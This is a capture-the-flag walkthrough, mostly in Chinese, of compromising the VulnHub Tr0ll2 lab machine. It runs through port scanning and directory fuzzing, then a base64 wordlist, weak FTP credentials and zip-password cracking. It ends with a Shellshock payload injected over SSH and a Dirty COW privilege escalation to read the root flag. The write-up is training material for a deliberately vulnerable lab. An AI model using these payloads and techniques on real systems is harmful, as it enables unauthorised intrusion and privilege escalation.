Tr0ll2

port scan

# Nmap 7.94SVN scan initiated Mon Jan 20 07:27:48 2025 as: nmap -p21,22,80 -sVC -O -oN nmap_result/detils 192.168.28.11
Nmap scan report for 192.168.28.11 (192.168.28.11)
Host is up (0.00081s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 00:0C:29:3C:4E:80 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

web

robots.txt存在目录列表，保存下来进行爆破

wfuzz  -c -z file,dir.txt --hc 404 http://192.168.28.12/FUZZ
000000001:   301        9 L      28 W       313 Ch      "/noob"
000000017:   301        9 L      28 W       322 Ch      "/ok_this_is_it"
000000014:   301        9 L      28 W       320 Ch      "/dont_bother"
000000004:   301        9 L      28 W       320 Ch      "/keep_trying"

存在四个目录，访问下来都是troll

http://192.168.28.12/dont_bother/cat_the_troll.jpg

这个图片存在提示信息

strings cat_the_troll.jpg

Look Deep within y0ur_self for the answer

访问y0ur_self目录，发现base64编码的一个字典

进行解码

base64 -d answer.txt > answer-new.txt

然后尝试ssh，ftp爆破都没有结果

ftp

发现ftp存在弱口令Tr0ll:Tr0ll

有个压缩包，有密码，拿刚才解码的字典尝试爆破

fcrackzip -D -p answer-new.txt -u -v lmao.zip

PASSWORD FOUND!!!!: pw == ItCantReallyBeThisEasyRightLOL

ssh登录，但是连接不上

──(kali㉿kali)-[~/vulnhub/Tr0llv2]
└─$ ssh noob@192.168.28.12 -i noob 
TRY HARDER LOL!
Connection to 192.168.28.12 closed.

shellshock漏洞利用

https://xz.aliyun.com/t/14742

ssh noob@192.168.28.12 -i noob -t "() { :;};/bin/bash"

提权

noob@Tr0ll2:~$ uname -a
Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
noob@Tr0ll2:~$ cat /etc/*rele*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.1 LTS"

脏牛提权

searchsploit cow -m 40839

irefart@Tr0ll2:~# ls
core1  core2  core3  core4  goal  hardmode  lmao.zip  Proof.txt  ran_dir.py  reboot
firefart@Tr0ll2:~# cat Proof.txt 
You win this time young Jedi...

a70354f0258dcc00292c72aab3c8b1e4

port scan​

web​

ftp​

提权​

port scan

web

ftp

提权